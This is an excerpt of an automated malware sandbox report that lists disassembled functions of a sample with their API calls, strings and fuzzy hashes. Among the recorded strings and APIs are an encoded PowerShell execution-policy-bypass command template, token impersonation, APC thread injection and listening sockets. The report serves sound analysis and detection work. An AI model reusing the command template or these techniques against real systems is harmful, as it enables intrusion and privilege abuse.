Part of subcall function 001C0A00: _getptd.LIBCMT ref: 001C0A16
Part of subcall function 001C0A00: __updatetlocinfo.LIBCMT ref: 001C0A4B
Part of subcall function 001C0A00: __updatetmbcinfo.LIBCMT ref: 001C0A72

_errno.LIBCMT ref: 001C198E

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_fileno.LIBCMT ref: 001C19BB

Part of subcall function 001C4E54: _errno.LIBCMT ref: 001C4E5D
Part of subcall function 001C4E54: _invalid_parameter_noinfo.LIBCMT ref: 001C4E68

write_multi_char.LIBCMT ref: 001C1FEB
write_string.LIBCMT ref: 001C2008
_errno.LIBCMT ref: 001C22F3
_invalid_parameter_noinfo.LIBCMT ref: 001C22FE

Strings

0, xrefs: 001C1D28
-, xrefs: 001C1F9C

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$Locale_invalid_parameter_noinfo$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexitwrite_multi_charwrite_string
String ID: -$0
API String ID: 3246410048-417717675
Opcode ID: 9d83564e1f44511746efc6243833ea10ca1e0c0cc6e5e094e442fc0115aecad6
Instruction ID: a41121ecebb48c11a1d8c2787aaf8ced3d8e74097b573b9f87d3053120b2844f
Opcode Fuzzy Hash: 9d83564e1f44511746efc6243833ea10ca1e0c0cc6e5e094e442fc0115aecad6
Instruction Fuzzy Hash: 8D3225726486D496EB29CB55D544FBE7BB0F776784F28100EEF4A47AA9DB38C840CB00

Function 001C5914 Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 460COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 001C596A
_errno.LIBCMT ref: 001C5971
_invalid_parameter_noinfo.LIBCMT ref: 001C597C

Strings

U, xrefs: 001C5EDE

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 1e306023ed328bab19b7a5d60cdebdd92491a2c212ad1309fcb9b443deab4914
Instruction ID: 22f53ffff2642abfb00545f65aa01530eb72d904a6e8a21be2e57ddf3167229a
Opcode Fuzzy Hash: 1e306023ed328bab19b7a5d60cdebdd92491a2c212ad1309fcb9b443deab4914
Instruction Fuzzy Hash: F7022533214B8186DB208F28E484BAEB776F7A5798F54011EEB8943B54DF3DE985CB10

Function 00677B38 Relevance: 26.0, APIs: 10, Strings: 7, Instructions: 545COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 00677D66
_snprintf.LIBCMT ref: 00677D83
_snprintf.LIBCMT ref: 00677CA5

Part of subcall function 0067F63C: _errno.LIBCMT ref: 0067F673
Part of subcall function 0067F63C: _invalid_parameter_noinfo.LIBCMT ref: 0067F67E

_snprintf.LIBCMT ref: 00677FD8
_snprintf.LIBCMT ref: 00678334

Strings

%s%s: %s, xrefs: 00677C94
%s&%s, xrefs: 0067826A
%s%s, xrefs: 00677FC7, 00677FF1, 00678195, 00678326
%s&%s=%s, xrefs: 00677D77
?%s=%s, xrefs: 00677D5A
%s%s, xrefs: 006780D7
?%s, xrefs: 00678257

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID: %s%s$%s%s$%s%s: %s$%s&%s$%s&%s=%s$?%s$?%s=%s
API String ID: 3442832105-1222817042
Opcode ID: 412d66828e9d0a494a073441381b0bd2cf94e887e51df8164056f8f6c456b4ac
Instruction ID: f165d54bb1ff977ae2693509bbd572190c045ac707b9e2ef795a30137aa3c4d4
Opcode Fuzzy Hash: 412d66828e9d0a494a073441381b0bd2cf94e887e51df8164056f8f6c456b4ac
Instruction Fuzzy Hash: B032E962614E8592EB258F2DE0452E9B3B1FF98799F049101EF8D17B21EF38D6A7C344

Function 00671C30 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 150filetimeCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00671C63

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

Part of subcall function 0066D044: malloc.LIBCMT ref: 0066D057

Part of subcall function 0066D074: htonl.WS2_32 ref: 0066D07F

GetCurrentDirectoryA.KERNEL32 ref: 00671CDB
FindFirstFileA.KERNEL32 ref: 00671D14
GetLastError.KERNEL32 ref: 00671D23
free.LIBCMT ref: 00671D5E
free.LIBCMT ref: 00671D6B

Part of subcall function 0067F244: HeapFree.KERNEL32 ref: 0067F25A
Part of subcall function 0067F244: _errno.LIBCMT ref: 0067F264
Part of subcall function 0067F244: GetLastError.KERNEL32 ref: 0067F26C

FileTimeToSystemTime.KERNEL32 ref: 00671D78
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00671D89
FindNextFileA.KERNEL32 ref: 00671E46
FindClose.KERNEL32 ref: 00671E57

Strings

.\*, xrefs: 00671CBF
D0%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 00671DCB
F%I64d%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 00671E29
%s, xrefs: 00671CF9

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Time$FileFind_errno$ErrorHeapLastSystemfreemalloc$AllocCloseCurrentDirectoryFirstFreeLocalNextSpecific_callnewhhtonl
String ID: %s$.\*$D0%02d/%02d/%02d %02d:%02d:%02d%s$F%I64d%02d/%02d/%02d %02d:%02d:%02d%s
API String ID: 723279517-1754256099
Opcode ID: 457427d9072a94c5804b99a9cf994faefb62e403f1d248ccd724e43b7fc9f85d
Instruction ID: fb2f42af140046c5152ca76007fff4314e7617e9a63a981f5e9d9da63bfdfffd
Opcode Fuzzy Hash: 457427d9072a94c5804b99a9cf994faefb62e403f1d248ccd724e43b7fc9f85d
Instruction Fuzzy Hash: D051CF7270875196DB50DF66E8507AEA3A2F385B84F40402AEE4E47B58EF7CC60ACB40

Function 001B6F38 Relevance: 18.5, APIs: 10, Strings: 2, Instructions: 545COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 001B7166
_snprintf.LIBCMT ref: 001B7183
_snprintf.LIBCMT ref: 001B70A5

Part of subcall function 001BEA3C: _errno.LIBCMT ref: 001BEA73
Part of subcall function 001BEA3C: _invalid_parameter_noinfo.LIBCMT ref: 001BEA7E

_snprintf.LIBCMT ref: 001B73D8
_snprintf.LIBCMT ref: 001B7734

Strings

not create token: %d, xrefs: 001B7657
nop -exec bypass -EncodedCommand "%s", xrefs: 001B74D7

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID: nop -exec bypass -EncodedCommand "%s"$not create token: %d
API String ID: 3442832105-3652497171
Opcode ID: 5c5fb6f4a09e06ccff5c46792293312cb34477fc99d63142bfc01bcec4b0117e
Instruction ID: 2f9b2cb9d9b2c9bc8f052c9aa5cc4283acf63cc8586ad332c123fcfba5c15db3
Opcode Fuzzy Hash: 5c5fb6f4a09e06ccff5c46792293312cb34477fc99d63142bfc01bcec4b0117e
Instruction Fuzzy Hash: 5732FC62618EC492EB259F2DE0413E9B3B0FFA8799F445501DF8917B65EF38D2A6C340

Function 00670F34 Relevance: 18.2, APIs: 12, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserA.ADVAPI32 ref: 00670F8F
GetLastError.KERNEL32 ref: 00670F9D
GetLastError.KERNEL32 ref: 00670FC1

Part of subcall function 0066FE54: MultiByteToWideChar.KERNEL32 ref: 0066FE81
Part of subcall function 0066FE54: MultiByteToWideChar.KERNEL32 ref: 0066FEA9

CreateProcessA.KERNEL32 ref: 00671013
GetLastError.KERNEL32 ref: 0067101D
GetCurrentDirectoryW.KERNEL32 ref: 00671374
GetCurrentDirectoryW.KERNEL32 ref: 00671388
CreateProcessWithTokenW.ADVAPI32 ref: 006713D1

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CreateErrorLastProcess$ByteCharCurrentDirectoryMultiWide$TokenUserWith
String ID:
API String ID: 3044875250-0
Opcode ID: 1d990aa2536e0bdd41909587e15d765ca5c4192818fd4d96a304531b1bef1f0e
Instruction ID: ddd496feb17ee8c2b893683ede9fb43acc4ce5d056f1b139581cf5cf7671d55c
Opcode Fuzzy Hash: 1d990aa2536e0bdd41909587e15d765ca5c4192818fd4d96a304531b1bef1f0e
Instruction Fuzzy Hash: EA619B72214B40D6EB20DF25E89435E73A6F749B94F10812AEA4E87B18DF7DC8A5CB50

Function 00679220 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0067924F

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

_snprintf.LIBCMT ref: 00679267

Part of subcall function 0067F63C: _errno.LIBCMT ref: 0067F673
Part of subcall function 0067F63C: _invalid_parameter_noinfo.LIBCMT ref: 0067F67E

FindFirstFileA.KERNEL32 ref: 00679272
free.LIBCMT ref: 0067927E

Part of subcall function 0067F244: HeapFree.KERNEL32 ref: 0067F25A
Part of subcall function 0067F244: _errno.LIBCMT ref: 0067F264
Part of subcall function 0067F244: GetLastError.KERNEL32 ref: 0067F26C

malloc.LIBCMT ref: 006792CE
_snprintf.LIBCMT ref: 006792E6
free.LIBCMT ref: 0067930E
FindNextFileA.KERNEL32 ref: 00679327
FindClose.KERNEL32 ref: 00679338

Strings

%s\*, xrefs: 00679254

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$Find$FileHeap_snprintffreemalloc$AllocCloseErrorFirstFreeLastNext_callnewh_invalid_parameter_noinfo
String ID: %s\*
API String ID: 2620626937-766152087
Opcode ID: cc893efac870e389c3214beb74474689fb7507946bb50414294d16208cc1c1d7
Instruction ID: b9f7dc96f4b337169066c32773aa2e023003f420f908839e69a4b092d4227770
Opcode Fuzzy Hash: cc893efac870e389c3214beb74474689fb7507946bb50414294d16208cc1c1d7
Instruction Fuzzy Hash: 5831D5113046C255DA15AB636C207B97BA7B74AFE0F88C125DEED0BB96CE39C563C314

Function 00401A70 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00401A84
RtlLookupFunctionEntry.KERNEL32 ref: 00401A9B
RtlVirtualUnwind.KERNEL32 ref: 00401ADD
SetUnhandledExceptionFilter.KERNEL32 ref: 00401B21
UnhandledExceptionFilter.KERNEL32 ref: 00401B2E
GetCurrentProcess.KERNEL32 ref: 00401B34
TerminateProcess.KERNEL32 ref: 00401B42
abort.MSVCRT ref: 00401B48

Strings

@5E, xrefs: 00401B27

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtualabort
String ID: @5E
API String ID: 4278921479-727458683
Opcode ID: 03ff3d805c6c5b31210b554aa0805c21f9c7c8b799266a99dd13c5c6293e079e
Instruction ID: d9c1a563eddaf3b5510b4e3cdc57f7cc7ddb545808ab7069b32be6ef691eb8bd
Opcode Fuzzy Hash: 03ff3d805c6c5b31210b554aa0805c21f9c7c8b799266a99dd13c5c6293e079e
Instruction Fuzzy Hash: A021E4B5601F55A6EB008F66FC8438A33B4B748BCAF500126EE4E5776AEF38C255C748

Function 00673A64 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 113sleepprocesslibraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00673ACE
GetProcAddress.KERNEL32 ref: 00673ADE

Part of subcall function 00673984: malloc.LIBCMT ref: 006739C2
Part of subcall function 00673984: free.LIBCMT ref: 00673A45

CreateToolhelp32Snapshot.KERNEL32 ref: 00673B10
Thread32Next.KERNEL32 ref: 00673B7A
Sleep.KERNEL32 ref: 00673B90

Strings

NtQueueApcThread, xrefs: 00673AD4
ntdll, xrefs: 00673A99

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AddressCreateHandleModuleNextProcSleepSnapshotThread32Toolhelp32freemalloc
String ID: NtQueueApcThread$ntdll
API String ID: 1427994231-1374908105
Opcode ID: 4682eb5fa987184764bf2e500015da157d39ace14d4a97c914713ac55f463483
Instruction ID: 173fb5629102f313e9d9874a9f15bb623e96bfa68c595a2679f6e732873ab5c7
Opcode Fuzzy Hash: 4682eb5fa987184764bf2e500015da157d39ace14d4a97c914713ac55f463483
Instruction Fuzzy Hash: 1A418B32701B519AEB20CB62E8407ED73B6FB58B88F54812ADE4D97B18EF39C645C744

Function 00676A78 Relevance: 9.1, APIs: 6, Instructions: 60networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00676AB0
htons.WS2_32 ref: 00676AD0
ioctlsocket.WS2_32 ref: 00676AEC
closesocket.WS2_32 ref: 00676AFA
bind.WS2_32 ref: 00676B0D
listen.WS2_32 ref: 00676B1D

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1767165869-0
Opcode ID: f4b350054c05ef1cd9ff918b3eebb66b28a02a47d439b5acf83660ca504c3395
Instruction ID: 20277dcdf1c343fd712384b8841c0a27075375c39bd243faa5f60102d07d7b9e
Opcode Fuzzy Hash: f4b350054c05ef1cd9ff918b3eebb66b28a02a47d439b5acf83660ca504c3395
Instruction Fuzzy Hash: 89112631310B5482DB248F16E420359B762F788FA4F858634EE5E53B64CF3DD456C700

Function 00676670 Relevance: 9.1, APIs: 6, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00676698
htons.WS2_32 ref: 006766A4
socket.WS2_32 ref: 006766BC
closesocket.WS2_32 ref: 006766CE
bind.WS2_32 ref: 006766FB
ioctlsocket.WS2_32 ref: 00676715

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 3910169428-0
Opcode ID: b53a2f792c81892d7b6d7ca8ab412e3f2e468a0ee1017cf91dd071cea0dc5194
Instruction ID: d8364017e29b8a6f0fc31d9fb4209b82eade7849c5e9f444018a36658612b3d4
Opcode Fuzzy Hash: b53a2f792c81892d7b6d7ca8ab412e3f2e468a0ee1017cf91dd071cea0dc5194
Instruction Fuzzy Hash: 0111B135311B4097D7249F21E8243997762F788BA4F958239DE1A43794DF3DC95AC740

Function 0067DF50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0067DCC0: RevertToSelf.ADVAPI32 ref: 0067DCDD

LogonUserA.ADVAPI32 ref: 0067DF98
GetLastError.KERNEL32 ref: 0067DFA2

Part of subcall function 00675FEC: malloc.LIBCMT ref: 00676008

Part of subcall function 0066FE54: MultiByteToWideChar.KERNEL32 ref: 0066FE81
Part of subcall function 0066FE54: MultiByteToWideChar.KERNEL32 ref: 0066FEA9

Part of subcall function 0066D044: malloc.LIBCMT ref: 0066D057

ImpersonateLoggedOnUser.ADVAPI32 ref: 0067DFC0
GetLastError.KERNEL32 ref: 0067DFCA

Strings

%s\%s, xrefs: 0067E084

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiUserWidemalloc$ImpersonateLoggedLogonRevertSelf
String ID: %s\%s
API String ID: 3621627092-4073750446
Opcode ID: 21501fd99f5b763e027db7a7b361eaf12fbcf34ba50608c9b89ed7353f562f62
Instruction ID: c23be3ee67aa09ac1aac6bdd0082120723da9cefab7562a0a514cdcd65bd2716
Opcode Fuzzy Hash: 21501fd99f5b763e027db7a7b361eaf12fbcf34ba50608c9b89ed7353f562f62
Instruction Fuzzy Hash: 1A318B30314B4191EB40FB22F86435A23A7FB8AB80F804029EA4E57F66DF3EC165CB45

Function 0066FA1C Relevance: 7.6, APIs: 5, Instructions: 61sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0066FA3D
Sleep.KERNEL32 ref: 0066FAAC
GetTickCount.KERNEL32 ref: 0066FAB2
Sleep.KERNEL32 ref: 0066FACB
closesocket.WS2_32 ref: 0066FAD4

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountSleepTick$closesocket
String ID:
API String ID: 2363407838-0
Opcode ID: 10e278be78da8f1e85a2fadd26c76492043cbdbeff7cfa22a85522b80d216db2
Instruction ID: 225c3144836ed55f75402d078613cef5556b0c92f46d9bf16291872aee3931d8
Opcode Fuzzy Hash: 10e278be78da8f1e85a2fadd26c76492043cbdbeff7cfa22a85522b80d216db2
Instruction Fuzzy Hash: A711D221704A8092CA50EB62F45521AA392F785BF0F444735FEBE47BE6DE3CC6468B45

Function 00401990 Relevance: 7.6, APIs: 5, Instructions: 56timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 004019D5
GetCurrentProcessId.KERNEL32 ref: 004019E0
GetCurrentThreadId.KERNEL32 ref: 004019E8
GetTickCount.KERNEL32 ref: 004019F0
QueryPerformanceCounter.KERNEL32 ref: 004019FE

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 50bcba46724f9b704bab53f94a1f403ca93275f12098583a90ed55ecc7962461
Instruction ID: e7f875539d2b8dca624fb493ee906b0c7b4db546ccc53074c796ddc42d9a9937
Opcode Fuzzy Hash: 50bcba46724f9b704bab53f94a1f403ca93275f12098583a90ed55ecc7962461
Instruction Fuzzy Hash: 09115EA6756B1482FB109B65FC0431973A0B788BF5F081671AE9D47BA4DE3CC589D708

Function 0067EE8C Relevance: 7.6, APIs: 5, Instructions: 53networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

socket.WS2_32 ref: 0067EEC1
closesocket.WS2_32 ref: 0067EED3
htons.WS2_32 ref: 0067EEE4
bind.WS2_32 ref: 0067EF05
listen.WS2_32 ref: 0067EF1A

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonslistensocket
String ID:
API String ID: 564772725-0
Opcode ID: be1f698a7e4eb4207d6933216863c257059b8865fc596cd8fbc22c7be6d18c17
Instruction ID: 7639010fca12233a93f18edaacb0714942ccd48183b1a2ce934c52e116504c89
Opcode Fuzzy Hash: be1f698a7e4eb4207d6933216863c257059b8865fc596cd8fbc22c7be6d18c17
Instruction Fuzzy Hash: 8D110435614B5582DB20EF12E82531AB362F788FE0F548665EE9D07FA4DF7EC1198704

Function 0066D83C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

Strings

%s!%s, xrefs: 0066D9EB

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID: %s!%s
API String ID: 0-2935588013
Opcode ID: 2575759d0ae14333fa4d595125301f6413fce9519f9dbc799c601f61bbf3305b
Instruction ID: 339d4963c7e48f7d5eab9816edd3ce58a4595f6ab105ea75f3ca995b74269556
Opcode Fuzzy Hash: 2575759d0ae14333fa4d595125301f6413fce9519f9dbc799c601f61bbf3305b
Instruction Fuzzy Hash: A2518D76B04A80C6DB24DF66D0406A97362F388FD8F84852AEF8E57758DF38C942C744

Function 00670B70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32 ref: 00670BEA
AdjustTokenPrivileges.ADVAPI32 ref: 00670C1A
GetLastError.KERNEL32 ref: 00670C24

Strings

%s, xrefs: 00670C32

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID: %s
API String ID: 4244140340-620797490
Opcode ID: bf812f175a1fbc479699b50877281c9aa9b2d5b741073a8283bc0e57be89c079
Instruction ID: 2d8aa08465468c05ae3a8d0ae3c732c9e61822b2c26229a58da37efd2c490324
Opcode Fuzzy Hash: bf812f175a1fbc479699b50877281c9aa9b2d5b741073a8283bc0e57be89c079
Instruction Fuzzy Hash: 8C217C72B00B01AAEB14DB71D4557ED73B6F758B88F84852A9E4C93B48EF74C629C390

Function 00675854 Relevance: 6.1, APIs: 4, Instructions: 73sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0067587B
Sleep.KERNEL32 ref: 006758CA
GetTickCount.KERNEL32 ref: 006758D0
WSAGetLastError.WS2_32 ref: 006758DA

Part of subcall function 00675A20: ioctlsocket.WS2_32 ref: 00675A42

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepioctlsocket
String ID:
API String ID: 1121440892-0
Opcode ID: 7368cb6fa517e1a070c78e6e07bfa46b364e9fef9c30544ba018e77da25e9e41
Instruction ID: fcd2c79b4b1f667fb8cce6bcefae5cc02d7a34ed8ad0a29df97c4b622c4aa0d8
Opcode Fuzzy Hash: 7368cb6fa517e1a070c78e6e07bfa46b364e9fef9c30544ba018e77da25e9e41
Instruction Fuzzy Hash: 77316B36B00F40D6DB00DBA2E4942AC77BAF388B90F51466ADE6E93B94DE31C555C344

Function 001CB7B0 Relevance: 5.9, Strings: 4, Instructions: 884COMMONLIBRARYCODE

Download Yara Rule

Strings

e ', xrefs: 001CC405, 001CC47E, 001CC4F7, 001CC570
, xrefs: 001CBE63
ailure #%d - %s, xrefs: 001CC41F, 001CC498, 001CC511, 001CC58A
<, xrefs: 001CBE6E

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID: $<$ailure #%d - %s$e '
API String ID: 0-963976815
Opcode ID: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction ID: 875dd6fd0587a974ac1acf23bae3dc22a9181987aed168fd786f8758df7145ac
Opcode Fuzzy Hash: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction Fuzzy Hash: 7D92D3B2329A8087DB58CB1DE4A173AB7A1F3C8B84F44512AE79B87794CE3CD551CB44

Function 0066DA3C Relevance: 4.9, APIs: 3, Instructions: 374memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00676114: htonl.WS2_32 ref: 00676131

GetLastError.KERNEL32 ref: 0066DD33

Part of subcall function 0067CC00: GetCurrentProcess.KERNEL32 ref: 0067CC8D

HeapCreate.KERNEL32 ref: 0066DCDA
HeapAlloc.KERNEL32 ref: 0066DCF8

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Heap$AllocCreateCurrentErrorLastProcesshtonl
String ID:
API String ID: 3419463915-0
Opcode ID: ec0623d855ca9fea6adc12097b57476b8ed8efbce5d3b57090cc4cf496277255
Instruction ID: 52fe5b68eb4c93ed57c1751ba93f5dd3d32ebf759edd96eaf3318f5250c8f75b
Opcode Fuzzy Hash: ec0623d855ca9fea6adc12097b57476b8ed8efbce5d3b57090cc4cf496277255
Instruction Fuzzy Hash: 21E1B1B3B10B4187EB64DB35E8413AA63A2F799794F088125DB8E97B55EF3DE446C300

Function 00402314 Relevance: 4.6, APIs: 3, Instructions: 75COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
